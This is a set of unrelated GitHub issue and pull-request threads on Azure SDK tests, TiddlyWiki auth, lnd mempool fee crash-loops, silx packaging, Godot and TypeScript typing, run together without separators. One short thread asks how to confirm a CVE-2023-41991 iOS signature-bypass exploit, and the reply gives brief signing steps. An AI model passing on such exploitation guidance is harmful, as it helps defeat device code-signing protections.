I suggest you to try the code and check if it works for you. If you try to see change per change it will take long, because I basically rewrote the lib.


[Text Analytics] Add tests for CreateRequestFailedException method for Healthcare Async

Query/Question
How can we help?
Add tests for CreateRequestFailedException method for Healthcare Async. Adding this issue for future tracking.
Environment:

Name and version of the Library package used: TextAnalytics 5.2-beta.1
Hosting platform or OS and .NET runtime version (dotnet --info output for .NET Core projects): [e.g. Azure AppService or Windows 10 .NET Framework 4.8]
IDE and version : [e.g. Visual Studio 16.3]

#16434

Shifting to match the milestone of the associated epic, as the MQ milestone has passed.

Shifting to match the milestone of the associated epic, as the MQ milestone has passed.

Method called: https://github.com/Azure/azure-sdk-for-net/blob/master/sdk/textanalytics/Azure.AI.TextAnalytics/src/AnalyzeHealthcareEntitiesOperation.cs#L257
We need to understand:

When this happens
What the service returns
See if the current methods surfaces information in the right way (might need mocking for this)


[Future Request] Boss PB

I'd love to have a trigger for PBs.  I'm a big fan of using this plugin with custom sounds and would love to use either the Beetle Adventure Racing "New Record" sound or the Mario Party "New Record" sound whenever I get a new PB on a boss/raid.

Thanks for the suggestion - I've been discussing enhancements with C and we're not looking to add PB detection for other bosses
This would be better suited to another plugin that is not specific to C


Tiddlywiki

Refactor tiddlywiki to support multiple authentication backends.
Fixes #129

In order to make this like it was, where the public and private site shared the same domain name, it would necessitates a new plugin middleware that checks the header X-Forwarded-User AFTER the sentry auth middleware takes affect.

I received this comment from @EnigmaCurry via email with link to this issue, but I don't see the comment on this PR:
In order to make this like it was, where the public and private site shared the same domain name, it would necessitate a new plugin middleware that checks the header X-Forwarded-User AFTER the sentry auth middleware takes affect.
For my use-case, I wouldn't care if public and private had different domain names. At the moment I only use Tiddlywiki privately and if I switched to wanting a public-facing URL I'd be find with a different domain for my private use.

I deleted the comment because its incorrect. I don't know how it would be possible to use the same domain at all. It would have to be separate using the new auth stuff.
The benefit before of it being the same, was that way you could just copy the URL from the browser and share it. Now it will have to be different.

Do you use Tiddlywiki as both private and public?

That's the way its designed: an admin site that you must login to (only HTTP Basic supported) to be able to edit pages. If you don't send the auth, it reverts to a different server, one that only hosts a static public snapshot, one where editing pages has no effect.
TW itself has no concept of control of who can edit pages, and so public users can still edit pages, but they don't get saved on the server, and go away if you refresh the page.

Well, separate private and public domains works for me, as I'll only use it via private.


Adding i18n/localization and static config option

adds & sets language JS file Requirement based on i18n current locale (from CDN, exernal dependency)
first day of week etc is also contained in language/locale files, so should be correct
adds the standard SS Yaml based config system to allow setting default configuration options for flatpickr

@TODO:

could be extended to use contentLocale in front-end contexts to auto-include front-end i18n
could be refactored to include & expose the locale/language files so they could be loaded locally instead of via CDN

Fixes #2

Just noticed the controllerextension also includes the requirements in the front-end, probably undesirable. Added a uniquenessID so the requirements can at least be blocked for now.
eg PageController::init():
            $userLangIso = i18n::getData()->langFromLocale(i18n::get_locale());
            Requirements::block("//npmcdn.com/flatpickr/dist/l10n/$userLangIso.js");
            Requirements::block("FlatpickrLocalization");


Tailwind style oddities

It's too tall, probably need to explicitly specifiy height

This has been mostly ironed out, by siplifying the selector, and also by using Tailwind in the example, which showcases how to style it appropriatly. We will also expose a specific Tailwind theme to build on


Add Storybook

Change-type: minor
Here's a working version with the homepage + the standalone sections.
I have set up a working Netlify project that auto-deploys storybook.
https://deploy-preview-219--landr-storybook.netlify.com/?path=/story/*
Next-up: Get all the possible combinations. This PR adds the basic skeleton.

Need to

Add the sections as a story
Figure out the data flow so that we can populate these stories

Alright, I need to get figure out how to pass the data. Maybe exposing the render function isn't the best option. I have to get the combinations out there.
cc @jviotti

Need to

Fix fonts
Deploy storybook as a separate project

Here's a preview https://5d63a26f9acb4d000a22bb03--landr-storybook.netlify.com/?path=/story/* 🎉

@jviotti 	Following the approach that tests do generates lots of unnecessary component variants. For example we test Jumbotron, FAQ or Motivation component for pages that don't have them.
How can I get only the needed components for each page?

@dimitrisnl Ah, good point. I thought about potential solutions, but I think the best way is to not divide the storybook by pages, and but rather by component. Then, you can just keep track of the components you created (given the variant options) and avoid creating the exact same one twice.

@balena-ci retest

@balena-ci retest

But these components depend on 1) The route, 2) The context that it runs

@jviotti 	I was thinking, dow e really want to show all the variants? We know the input already - by showing extra variants we don't gain much.
We could keep a single one, the one we will build and allow changing props right on the spot.
Showing variants mattered when we change the order of sections. If we only display the components it's insignificant.

As I followup I was thinking of getting a MVP out of it, just by importing the meta.json and wrap this up. It's meant to speed track the development process, and I'm afraid I'm overengineering it.

I think is is a good first version. Still need to figure out how to filter out invalid combinations but it will suffice for now.


fix: Vector drawables are not supported with drawableStart on Android < 5

Fix for issue https://github.com/openfoodfacts/openfoodfacts-androidapp/issues/4474
On Android < 5, drawables passed to a drawableStart attribute (in XML) can not be a vector
But doing it in the code is actually possible

merci 👍


fix: removes manually declared module type

Fix for #1246

Thanks @spencerbeggs! 🙌  Your PR is blocked by https://github.com/sanity-io/pkg-utils/pull/662, I'll approve and merge once @sanity/ui is updated with a patched @sanity/pkg-utils


RKRequest: Added Null check to HTTP Basic Username & Password

Fixes #493.
One-line null check.

Thanks. Merged.


GS Fetcher

I have added the functionality of being able to download content from gs

I have already changed the url


Fix Perl 5 and 6 disambiguation bug

Perl 5 code containing class or module was incorrectly interpret as Perl 6, as described in #3637.
This fixes the issue and adds a test which would cause a failure without the change to heuristics.rb.

Thank you @pchaigno


feat: adapt build workflow to push images to ghcr

Summary
What does this PR do?
Updated the build workflow to use GitHub Container Registry (GHCR) instead of DockerHub. Changes include:

Modified environment variables and secrets for GHCR authentication.
Updated image tags and cache configuration.

Does this close any open issues?
No
Other Information
The change aligns the image hosting strategy with GitHub's integrated services for better maintainability and security.

closing because it should go to our fork only.


add a hint to warn when we encounter uses of the older generic method comment syntax

We should add a hint (hint? warning?) when we encounter uses of the older generic method comment syntax. This will help people notice places where they're using it (and move to the newer syntax).
Related to https://github.com/dart-lang/sdk/issues/28796.
/cc @bwilkerson @jmesserly

I had started on this before the issue was created and will have a CL out later this morning.

Sorry to the crossed signals! (I had checked your out-for-review CLs before creating the issue)

No problem. It wasn't out for review yet, just mostly ready.


Add license

Hi,
Could you add a LICENSE file to this repository? Namely, I'm wondering if the definition files here may be used as a basis for commercial purposes? I guess definition files are pretty simple but would nevertheless be nice to have a clear policy.

Hello,
That's a good idea! Our bad for forgetting to put a license on the repository. I would assume a simple permissive license would do, but I'll confirm with my colleagues first.

Commit 0fc0e7d67b466b0c6751243b5b71ac72790f2097 adds MIT license


[bug]: crash-loop on startup: unmatched backend error: -26: mempool min fee not met

Background
During a mempool spike, I had some low-fee-rate on-chain transactions from my lnd wallet that got dropped from default mempools. Then on startup I got into a crash loop with the following error:
unable to start server: unmatched backend error: -26: mempool min fee not met, 3241 < 3909

I was able to unblock by going into my bitcoin.conf and increasing maxmempool, but I don't think that is a sustainable solution.

Duplicate issue from the last time we had a fee spike: https://github.com/lightningnetwork/lnd/issues/5969

I was able to unblock by going into my bitcoin.conf and increasing maxmempool, but I don't think that is a sustainable solution.

There's not a good way around it afaict: bitcoind will start to increase the min fee needed to get into the mempool and if you want to allow things lower than that to get in, you need to increase the max mempool size.
We likely should properly catch this error and proceed. However that would sort of mask the issue here, since ppl would wonder why their transactions aren't getting mined.

Re being able to proceed, we need to add a case above this to allow that to go thru: https://github.com/btcsuite/btcwallet/blob/master/wallet/wallet.go#L3745-L3748
Main question is how to actually handle this properly:

Should we then try to re-sign again (depending on the context) w/ a higher fee rate?
Or just return the error

As is, we'll also remove that txn so we don't try to broadcast again.

gotcha thanks @Roasbeef that makes sense.
now if i understand correctly:
say my bitcoin node now runs an extra large mempool, but all its peers run default mempools. i could get into a situation where my bitcoin node has my txs, but nobody else does, even when mempool congestion chills out. how do i ensure that my bitcoin node will eventually rebroadcast these low-fee transactions? if i recall correctly there was some in-progress work in bitcoin core perhaps to identify this situation and rebroadcast automatically?

say my bitcoin node now runs an extra large mempool, but all its peers run default mempools. i could get into a situation where my bitcoin node has my txs, but nobody else does, even when mempool congestion chills out.

Correct, the mempool is truly a murky place unfortunately. Bitcoin nodes have something called a feefilter: as they start to increase their min fee amount, they'll tell their peers not to send things below that fee rate.
The only solution to something like this in site is the fabled package relay construction. This would let you send that transaction, then also couple w/ it something to allow the fee to be high enough for acceptance.

The only solution to something like this in site is the fabled package relay construction. This would let you send that transaction, then also couple w/ it something to allow the fee to be high enough for acceptance.

so in the meantime I might just wanna keep some miners on speed-dial eh?

so in the meantime I might just wanna keep some miners on speed-dial eh?

or i guess if any miners run large mempools too, i could deliberately peer with them

just a little more context on my situation for others to learn from:

My lnd had sent some 1 sat/byte transactions that were unconfirmed
I was running a default bitcoind mempool (300mb)
Mempool spiked and started purging low-fee transactions, including mine
I do an LND restart but get into a crash loop with mempool min fee not met
I stop bitcoind, set maxmempool=1000 in bitcoind.conf, which increased my mempool size to 1000mb. restart bitcoind
Now LND is able to restart fine
However, those original 1 sat/byte transactions were dropped from my LND wallet, so their input utxos were now available to spend, and I spent them again elsewhere

In general my takeaway is that a lot of problems can be avoided if you just run a larger bitcoind mempool. but there are caveats associated with this

Closing as the config issue has been resolved.

Gonna re-open this as Boltz ran into it recently, and it can cause lnd to not want to start up.

The ability to RBF channel opens that fall out of the mempool or that just take very long to confirm due to a mempool spike.

I am not quite sure I understand this, so you want to RBF a channel opening although its not in your local mempool?

I will take this one

You can't RBF a funding transaction, as that would invalidate any commitment transaction. Or do you mean a spec proposal for a new re-negotiation/signing message?

You can't RBF a funding transaction, as that would invalidate any commitment transaction. Or do you mean a spec proposal for a new re-negotiation/signing message?

exactly that's also what I was thinking about

I don't think we should do that either. It will just encourage users to actually do RBF. There were at least two cases I know of where users imported lnd keys into Electrum to create an RBF replacement TX for a funding transaction, putting their funds at risk. This only worked because the original one was already evected from the mempool. But IMO we shouldn't encourage being able to do that while the original TX is still present. Also the "RBF enabled" label on a block explorer might give users wrong ideas too.

You can't RBF a funding transaction, as that would invalidate any commitment transaction. Or do you mean a spec proposal for a new re-negotiation/signing message?

Oops yeah my mistake, I'd overlooked that and oversimplified it. It looks like it would have to be some sort of spec change to renegotiate a pending channel which I think is well out of scope of this issue.
Still though, it seems like there is some undesirable behavior. The channel from my last post is still in pending status, but that was well over the 2016 blocks before a pending channel should timeout and I believe that means the remote peer has forgotten about the channel and it can never properly open.  Ideally lnd would fail this pending channel itself after this delay, and if the tx hasn't even been broadcast yet it should jsut drop it entirely. Then a second channel opening attempt can be performed.

Ok I analysed the situation regarding the startup issue and my analysis showed exactly 2 cases where we end up not starting because we could not broadcast the transaction (mempool-fee was not enough).

First situation is where we Force-Close a channel and the Force-Close Transaction is not broadcasted.
https://github.com/lightningnetwork/lnd/blob/bbbf7d33fb1527acebb44e2a69d16fbcf24cc2fa/contractcourt/channel_arbitrator.go#L994.

So my solution as @Roasbeef described just also include a case for the minrelay broadcast fail and proceed, but there is a small problem. We mark the Channel as StateCommitmentBroadcasted which is not quite right if we consider that the commitment was not broadcasted. So I think we should only mark the channel as StateCommitmentBroadcasted if the transaction successfully got placed in the mempool. Now problem is that we are not gonna rebroadcast the transaction as is, because we remove it and the User has to restart his node to trigger another retry. So I propose to keep the Channel in the state StateBroadcastCommit and maybe return the CommitmentTx in the lncli pendingchannels cmd to allow the user manually broadcast it again if he sees the mempool-minfee go down?

Second scenario is when we have the tweakless channel type (STATIC_REMOTE_KEY) and a timeout-htlc which we cannot broadcast because of the min-relayfee when restarting. Relevant codepart is here:
https://github.com/lightningnetwork/lnd/blob/bbbf7d33fb1527acebb44e2a69d16fbcf24cc2fa/contractcourt/utxonursery.go#L291
which fails here:
https://github.com/lightningnetwork/lnd/blob/bbbf7d33fb1527acebb44e2a69d16fbcf24cc2fa/contractcourt/utxonursery.go#L659

I think for the second case we should not remove the transaction but keep trying rebroadcasting it? Otherwise we have this time-sensitive contract we need to sweep but it basically will not do so only if we restart? Small fix would be to just not fail here and continue, and don't matter about the CribOutput being swept in time?
Happy to receive feedback in which direction we wanna go. Do we either wanna just except this new mempool error and just proceed, which comes with the cost of not rebroadcasting automatically only at restart or do we wanna add some nice logic like adding the commitmentrawtx to the lncli pendingchannels cmd for the first situation (1) and for the second case we should not remove the tx and there just rebroadcasting it with a dedicated log msg so users are not irritated?

I have the same issue.
[ERR] CNCT: ChannelArbitrator(xxx:1): unable to broadcast close tx: unmatched backend error: -26: mempool min fee not met, 285 < 2232
[ERR] CNCT: ChannelArbitrator(xxx:1): unable to advance state: unmatched backend error: -26: mempool min fee not met, 285 < 2232
[INF] CNCT: ChainArbitrator shutting down
[ERR] LTND: Shutting down because error in main method: unable to start server: unmatched backend error: -26: mempool min fee not met, 285 < 2373
Upgrade to the latest version 0.16.3-beta.rc1 did not help.
Increasing maxmempool in bitcoin.conf like dannydeezy said (from default 300 to 3000) worked for me.
@dannydeezy thank you very much!

@SunnySarahNode was this an anchor-channel ? If so I doubt there is a current fix to this issue because you can only bump the commitment-tx if it is in the mempool meaning that without you increasing your mempool you wouldn't be able to confirm your transaction anytime soon. Tho increasing the mempool and therefore being able to bump the transaction with your Anchor is imo a good approach.

So to resolve this issue, we just need to make sure that on start up, we don't refuse to start if we get this error.
See this issue: https://github.com/lightningnetwork/lnd/issues/4616
This code block needs to be updated to catch this error: https://github.com/btcsuite/btcwallet/blob/50978fcf79f8100eb62c185606c66367cc03b03e/wallet/wallet.go#L3463
With this recent PR, transactions should always be above the min relay fee at the time of tx creation. It's possible that things drop below that value, but until wide spread package relay, there's really nothing we can do about that.
The choice is essentially to:

Silently eat this error to ensure we can start up, but the users transaction is hung and won't confirm for some time.
Block start up with the error, to force the user to increase their bitcoind settings to allow it to enter their mempool.

Note that even with the second option, the transaction won't propagate since nodes will send a feefilter message telling peers to not send them transactions below that fee rate value.

@ziggie1984

so it might be good to keep failing the startup in this case because then by increasing the mempool we make sure that we can CPFP the Commitment? Wdy

Yeah tough choice, see my message above. Either way things are sort of hosed...we can choose to force user intervention or handle it in the background and pray to satoshi that things drop enough to let the tx enter the mempool of nodes with default policy.

. We mark the Channel as StateCommitmentBroadcasted which is not quite right if we consider that the commitment was not broadcasted. So I think we should only mark the channel as StateCommitmentBroadcasted if the transaction successfully got placed in the mempool. Now problem is that we are not gonna rebroadcast the transaction as is, because we remove it and the User has to restart his node to trigger another retry

The issue here is that we never really know if the transaction is "in the mempool" or not. Node policy is less uniform these days, and a big transaction spike can quickly cause the min relay fee to jump up.

y. So I propose to keep the Channel in the state StateBroadcastCommit and maybe return the CommitmentTx in the lncli pendingchannels cmd to allow the user manually broadcast it again if he sees the mempool-minfee go down?

I think it's a good idea to optionally allow RPC calls to print out the full hex of the broadcasted transaction so users can rebroacast on their own. Note that we'll now also rebroadcast ourselves, so if the min relay fee drops down, then things should propagate.

I think for the second case we should not remove the transaction but keep trying rebroadcasting it (but change the log level for the min-mempool-fee failure, or give the user the possibility to fetch the rawtx in case he wants to broadcast it via other transaction relayers where the purging fee is lower?

The way the rebroadcaster works, it'll keep going until things confirm or the sweeper removes it as a conflict is mined. So on start up, those should be broadcast again.

I would do the following:

For case 1, if we do this, then I think we should have a clearer error message to force the user to action. So something like "consider raising your maxmempool value to xxx GB". This way they know what to do and we can just close any other incoming issues, saying "works as expected".

Maybe change the log-level for the min-relay-fee not met error, to not spam the log with errors and give the user the possibility via an RPC command to fetch the rawTx for this Crib-Transaction?

I'm on board with having the relevant RPCs also allow users to get the raw hex. We log it each time, but logs can be spammy at times on trace/debug, so it might be hard for users to find.

Block start up with the error, to force the user to increase their bitcoind settings to allow it to enter their mempool.

Note that even with the second option, the transaction won't propagate since nodes will send a feefilter message telling peers to not send them transactions below that fee rate value.

The way the rebroadcaster works, it'll keep going until things confirm or the sweeper removes it as a conflict is mined. So on start up, those should be broadcast again.

Should the sweeper remove channel open attempts that have not confirmed (and possibly not even been broadcasted successfully due to peers rejecting it for too low fee regardless of what our mempool settings are) after 1000 blocks? IIUC, that's the point at which peers will "forget" our channel open attempt if they haven't seen a confirmation on chain. It seems like we shouldn't try to rebroadcast or wait for confirmation of a channel opening transaction that is stale. It would be better to just discard the transaction and the pending channel, and free up the utxo(s) consumed by it to be able to try opening another channel (with a higher fee).

That could be an option after 2016 blocks, yes. Though just because a transaction isn't in the local mempool doesn't mean it will never confirm. So to be absolutely certain that a channel can be discarded, the inputs to the funding transaction need to be double spent and confirmed. Otherwise you lose access to the funds if the funding transaction confirms for whatever reason.

That could be an option after 2016 blocks, yes. Though just because a transaction isn't in the local mempool doesn't mean it will never confirm. So to be absolutely certain that a channel can be discarded, the inputs to the funding transaction need to be double spent and confirmed. Otherwise you lose access to the funds if the funding transaction confirms for whatever reason.

That makes sense, although if we detect that it hasn't been broadcast successfully it should still be safe to discard right? That seems like it'd be like a less likely scenario with the change to ensure that the fee is above the min relay fee at the time of tx creation, though.
Double spending the broadcasted, but unconfirmed and possibly out of (most) mempools, transactions via lnd would be cool. To do something like this now, I figure you'd need to create and broadcast a transaction using the same utxo manually outside of lnd? And then once lnd detects the double spend, it would remove the pending channel and opening transaction?

Double spending the broadcasted, but unconfirmed and possibly out of (most) mempools, transactions via lnd would be cool. To do something like this now, I figure you'd need to create and broadcast a transaction using the same utxo manually outside of lnd? And then once lnd detects the double spend, it would remove the pending channel and opening transaction?

Correct. We recently added this to chantools, but it would be cool to have that option within lnd as well.

Correct. We recently added this to chantools, but it would be cool to have that option within lnd as well.

Awesome, somehow I wasn't aware of this set of tools. Do you know if  the removechannel would make sense in the case of a pending channel open for which the funding transaction was never broadcast? E.g. was never even accepted by the backing bitcoind node. It looks like it is, but it's not totally clear if the channel is removed or if lnd also knows to add the utxo(s) consumed by the funding transaction back to the wallet.

You can use lncli abandonchannel once you are certain that the funding transaction never can confirm.

for which the funding transaction was never broadcast

That shouldn't happen anymore with the recent change to force at least the mempool/relay fee rate.

but it's not totally clear if the channel is removed or if lnd also knows to add the utxo(s) consumed

I think that's another in-flight PR to detect double spends of channel funding inputs.


Why not use the CloudEvents SDK to parse events?

I'm curious why the translation example doesn't use the CloudEvents SDK?

I tried to use it but it wasn't ready for ASP.NET Core 2.1 version I was using initially. I contacted the maintainer and he confirmed that was the case. I'm open to PRs if you have this working.

I changed translation and vision samples to use CloudEvents SDK now. Thanks for raising this.


signature check

Hi everyone!
It may be a dumb question, but how can i check that CVE-2023-41991 exploitation is successful on a 'hello world' binary that i compiled in xcode? I mean codesign tool gives me "none" flag and when i try to run it on iphone, it just gets kill by the terminal..
thanks

Sign with ldid and some entitlements, and then run the bypass on it.

thank you!


build-deb.sh fails to run

Raised in https://github.com/silx-kit/silx/issues/3443#issuecomment-1452052407 by @tobiasvos:
I get the following error when trying to build a Debian package (and even with just ./build-deb.sh --help):
Fatal Python error: init_sys_streams: can't initialize sys standard streams
Python runtime state: core initialized
Traceback (most recent call last):
  File "silx/src/silx/io/__init__.py", line 36, in <module>
  File "silx/src/silx/io/utils.py", line 34, in <module>
  File "/usr/lib/python3.9/logging/__init__.py", line 26, in <module>
  File "/usr/lib/python3.9/traceback.py", line 5, in <module>
  File "/usr/lib/python3.9/linecache.py", line 11, in <module>
  File "/usr/lib/python3.9/tokenize.py", line 27, in <module>
ImportError: cannot import name 'open' from 'builtins' (unknown location)

The issue is that the silx/src/io subpackage shadows the standard library's io module. This issue can be circumvented by renaming src/silx/io to e.g. src/silx/_io, but then the build process still fails because silx.io.xxx is expected in many places.
Any clue how to get around this?

We never heard of such issue..
I just added debian11 to our CI and it seems to work fine (I haven't tested the generated package, but there are tests in the build process).
You can download the packages for v1.1.2 from: https://gitlab.esrf.fr/silx/bob/silx/-/jobs/579821/artifacts/browse/artifacts/bullseye/
If even ./build-deb.sh --help fails, then I expect the issue to come from:
https://github.com/silx-kit/silx/blob/3a0a265fbd50ac66d94d0481c455fa1b6d11c084/build-deb.sh#L67-L70
Can you try to run python3 -c"import _version; print(_version.version)" from silx/src/silx to confirm it?
Indeed if this needs to import io it will cause trouble!
Do you start this script in any special way (from an IDE GUI?) that might change the way the Python interpreter is initialized?

Thank you for your help. I have installed the generated package for Debian 11 and it seems to work fine.

If even ./build-deb.sh --help fails, then I expect the issue to come from:
https://github.com/silx-kit/silx/blob/3a0a265fbd50ac66d94d0481c455fa1b6d11c084/build-deb.sh#L67-L70
Can you try to run python3 -c"import _version; print(_version.version)" from silx/src/silx to confirm it?

Good find! I can confirm that this is the culprit. Also, when running ./build-deb.sh --help, I see the abovementioned error/traceback three times, so once for lines 68, 69 and 70.
In fact, I get the same error when running the Python interpreter without any arguments (python3) from silx/src/silx. Apparently, on my machine the io module is automatically loaded. When I do this, the list includes 'io'. I tested this on Debian 9, 10 and 11. Apparently it is built into the interpreter that I use, which on Debian 11 is the /usr/bin/python3 provided by the python3-minimal package. According to here, the set of such ("builtin" or "frozen") modules is a configuration option which also depends on the underlying platform.
In any case, my problem (not having access to a silx version newer than 0.14.0) is solved, so thanks again!

Good to hear!
I made a small fix that should workaround this: #3772


Make BlockAwareSegmentInputStream extend InputStream

So that it can be used as an InputStream with the S3 interfaces.
Master Issue: #1511

retest this please


Godot taking lots of CPU and being unresponsive after suspend on X11 Ubuntu 22.04

Tested versions
Reproducible in 4.2.0.stable, 4.1.2.stable (and probably all versions since Godot 4.0.stable, including mono versions).
System information
Godot v4.2.stable.mono - Ubuntu 22.04.3 LTS 22.04 - X11 - Vulkan (Forward+) - dedicated NVIDIA GeForce RTX 3070 (nvidia; 535.129.03) - AMD Ryzen 7 3700X 8-Core Processor (16 Threads)
Issue description
After I resume my Ubuntu system from a suspend with Godot previously opened, the Godot editor is unresponsive (if I resize the window for example nothing inside the editor window is redrawn, but the window itself changes size) and it's taking up lots of CPU. Happens every time. Only way to deal with it is to forcibly close the Godot editor.
It seems to have something to with Vulkan as I'm getting these errors thrown continuously:

ERROR: Vulkan: Cannot submit graphics queue. Error code: VK_ERROR_DEVICE_LOST
at: swap_buffers (drivers/vulkan/vulkan_context.cpp:2536)
ERROR: Vulkan: Did not create swapchain successfully. Error code: VK_NOT_READY
at: prepare_buffers (drivers/vulkan/vulkan_context.cpp:2459)

Steps to reproduce

Create a new project in the editor
Suspend Ubuntu without closing editor and project
Awaken Ubuntu to find the error

Minimal reproduction project (MRP)
N/A

dupe of #82247

Thanks for the report! Consolidating in https://github.com/godotengine/godot/issues/71929.


Space Usage for botocore python library

I'm using amazon-cloudwatch-publisher to publish journal logs and metrics to CloudWatch in one of our embedded projects.
But I've noticed that botocore python library takes a lot of space in our system:
# du -sh /usr/lib/python3.10/site-packages/boto*
1.4M    /usr/lib/python3.10/site-packages/boto3
44.0K   /usr/lib/python3.10/site-packages/boto3-1.26.20.dist-info
83.6M   /usr/lib/python3.10/site-packages/botocore
240.0K  /usr/lib/python3.10/site-packages/botocore-1.29.21.dist-info

Most part of these 83.6 MB is from its data folder.
Looking at amazon-cloudwatch-publisher code, it doesn't use all libraries from botocore.
Would it be possible to split botocore into multiple packages so the applications which depend on it could use a subset of botocore data files? Therefore using less disk space.

Hi, thank you for this - will investigate and keep you updated.

Seems that there are discussions about reducing botocore data folder size here: https://github.com/boto/botocore/issues/2365
In case this feature is implemented this issue will be solved.

I think this will be solved when that feature is implemented. Hope this is done soon.


feed '(...args: any[]) => any' feeds to ID function becomes any => any

TypeScript Version:  3.5.1

Search Terms: constraints on Function type
Code
In most cases, we use (...args: any[]) => any as constraints type parameter to Function type.
But this case causes losing concrete type info such as below:
const idForAllType = <I>(i: I) => i

const idForFunction = <F extends (...args: any[]) => any>(f: F) => f

const idForFunction2 = <F extends Function>(f: F) => f

// (i: any) => any
const result1 = idForFunction(idForAllType)
// <I>(i: I) => I
const result2 = idForFunction2(idForAllType)

After wrapping by idForFunction, idForAllType becomes any => any,
and after wrapping by idForFunction2, idForAllType is the expected type I => I
(...args: any[]) => any and Function which should us pick for adding constraints?

That’s interesting; even though the constraint involves any, your return type should still be inferred as F, i.e. the original function type.  You do lose type safety inside the function, but losing it outside seems odd.  Maybe the generic is interacting badly with that somehow—not sure.
That said, (...args: any[]) => any is basically a free-for-all.  For maximum type safety you should pick a constraint which is analogous to unknown (assuming you’re not actually going to call it within the generic context, i.e. inside idForFunction).  For functions, Function would probably be the closest thing to a top type.

It definitely seems to be the type parameter that's throwing it off because:
const idNumber = (n: number) => n;
const n1 = idForFunction(idNumber);
const n2 = idForFunction2(idNumber);

Both n1 and n2 are type (n: number) => number, as expected.

This doesn't seem wrong to me. idForFunction implies a specific thing about the signature of f, but idForFunction2 only requires something satisfying the global type Function (which has no such signature implications).

This doesn't seem wrong to me. idForFunction implies a specific thing about the signature of f, but idForFunction2 only requires something satisfying the global type Function (which has no such signature implications).

What's the recommended constraint signature for function type when writing high order function?


[Bug] Swapped frequency and time step in info dict from sim script

There seems to be a minor bug in the info dict from the simulation script, the control time step and frequency are swapped
https://github.com/utiasDSL/lsy_drone_racing/blob/4bb0f60232e27429b6e97fc75ac7f3d0fd059c1e/scripts/sim.py#L70
https://github.com/utiasDSL/lsy_drone_racing/blob/4bb0f60232e27429b6e97fc75ac7f3d0fd059c1e/scripts/sim.py#L71

Closed because it should be addressed in the major refactoring


Stops within a few seconds of starting

debug log:
s6-rc: info: service s6rc-oneshot-runner: starting s6-rc: info: service s6rc-oneshot-runner successfully started s6-rc: info: service fix-attrs: starting s6-rc: info: service fix-attrs successfully started s6-rc: info: service legacy-cont-init: starting cont-init: info: running /etc/cont-init.d/config.sh cont-init: info: /etc/cont-init.d/config.sh exited 0 s6-rc: info: service legacy-cont-init successfully started s6-rc: info: service legacy-services: starting s6-rc: info: service legacy-services successfully started ----------------------------------------------------------- Add-on: S0PCM Reader S0PCM reader based on docker-s0pcm-reader ----------------------------------------------------------- Add-on version: 0.8.2 You are running the latest version of this add-on. System: Debian GNU/Linux 11 (bullseye) (aarch64 / raspberrypi3-64) Home Assistant Core: 2024.4.1 Home Assistant Supervisor: 2024.03.1 ----------------------------------------------------------- Please, share the above information when looking for help or support in GitHub. ----------------------------------------------------------- 2024-04-06 14:08:23,103 INFO: Start: s0pcm-reader - version: 2024.02.17 2024-04-06 14:08:23,132 DEBUG: Config: {'log': {'level': 'DEBUG', 'size': 10485760, 'count': 3}, 'mqtt': {'host': 'core-mosquitto', 'port': '1883', 'base_topic': 's0pcmreader', 'username': 'addons', 'password': 'xx', 'client_id': 'None', 'retain': True, 'split_topic': True, 'tls': False, 'tls_ca': '', 'tls_check_peer': True, 'connect_retry': 5, 'version': <MQTTProtocolVersion.MQTTv5: 5>, 'online': 'online', 'offline': 'offline', 'lastwill': 'offline'}, 'serial': {'port': '/dev/ttyACM0', 'baudrate': 9600, 'connect_retry': 5, 'parity': 'E', 'stopbits': 1, 'bytesize': 7, 'timeout': None}, 's0pcm': {'publish_interval': 10, 'publish_onchange': True, 'include': [1, 2, 3, 4, 5], 'dailystat': None}} 2024-04-06 14:08:23,165 ERROR: Fatal exception has occured Traceback (most recent call last): File "/usr/src/s0pcm-reader.py", line 649, in  ReadMeasurement() File "/usr/src/s0pcm-reader.py", line 251, in ReadMeasurement if 'date' in measurement: ^^^^^^^^^^^^^^^^^^^^^ TypeError: argument of type 'NoneType' is not iterable s6-rc: info: service legacy-services: stopping s6-rc: info: service legacy-services successfully stopped s6-rc: info: service legacy-cont-init: stopping s6-rc: info: service legacy-cont-init successfully stopped s6-rc: info: service fix-attrs: stopping s6-rc: info: service fix-attrs successfully stopped s6-rc: info: service s6rc-oneshot-runner: stopping s6-rc: info: service s6rc-oneshot-runner successfully stopped

Hi thanks for reporting this.
Could you please check the measurement.yaml file in the folder /share/s0pcm?
Does it look similar to:
date: 2024-04-06
1:
  pulsecount: 0
  today: 257
  total: 1139857
  yesterday: 198
2:
  pulsecount: 0
  today: 0
  total: 0
  yesterday: 0

I cannot reproduce the error, so I hope we can figure it out together..

I have just released version v0.8.3 that could help in the investigation, would you mind testing this version?

I will, can I force the update?

You should be able to check for updates on the add-on store, then it should show..

the measurement.yaml was somehow empty. I added the content and now it is working again.

Ah good to hear, I will go ahead and improve the handling of such situation in a future release.
Will close this one.


Removing duplicate photos

Hello,
How would I go about removing duplicates from my photo library using this package?

Hi @clouedoc osxphotos is not designed specifically as a duplicate removal tool but the following command may be helpful:
osxphotos query --duplicate --add-to-album "Duplicate Photos"
This will search for all images that are possible duplicates and add them to the album "Duplicate Photos".  This is somewhat limited as it does not compare the images byte-by-byte but only looks at file size, date, image dimensions, etc. You can then delete the photos from the album inside Photos by using the Command-Delete key combo.  Please note that all copies of photos that are possible duplicates will be added to the new album so you won't want to delete all of them -- you'll likely want to go through and select which ones to keep and which to delete.


Add NeuroQuery

A subset of all models in a database given some condition.
Features

When models are ninja-saved they are re-evaluated by the query condition, if it's no longer a match for the query then it's removed.
When models are ninja-removed, they are removed from the query.
When the model-added event is triggered on the database, that new model is looked at and potentially added to the query.
A query can have a comparator (and comparatorNullsFirst)
Query will have the following methods: min, max, sum, avg, first, last, count. Each of the methods can accept a property name to pull a value from or a function which takes a model and returns a number. The count method doesn't need an argument, it will simply return the number of objects in the query.
Query can have a subquery. A subquery watches for events on a query and runs an additional query check for inclusion.
A query can have the option live: false which means it doesn't listen on model or database events. This is useful for temporary queries.
A query's where parameter can be a function or an object where the models in the query must match the where object. (a createWhere function will be added similar to createComparator)
Query will have a remove method which can remove all models in the query OR if a function is given all models in the query which return a truhy value when passed to the function.
Query will have an update method which takes a set of new values to be applied to all models in the query. Optionally an additional filtering function can be passed.
Query will have a groupBy method which takes a property or an array of properties AND an aggregation definition and generates an array of grouped values. The aggregation definition has fields as keys and the type of aggregation as the value (min, max, avg, sum, first, last, count). A third argument can be specified which is a function to use to further filter down the models that are looked at when grouped (having). The resulting array will have a $count variable which is the number of models grouped into that row and can optionally have a $group variable which is an array of all of those models (if a fourth property is specified). Maybe something like this instead?

query.group({
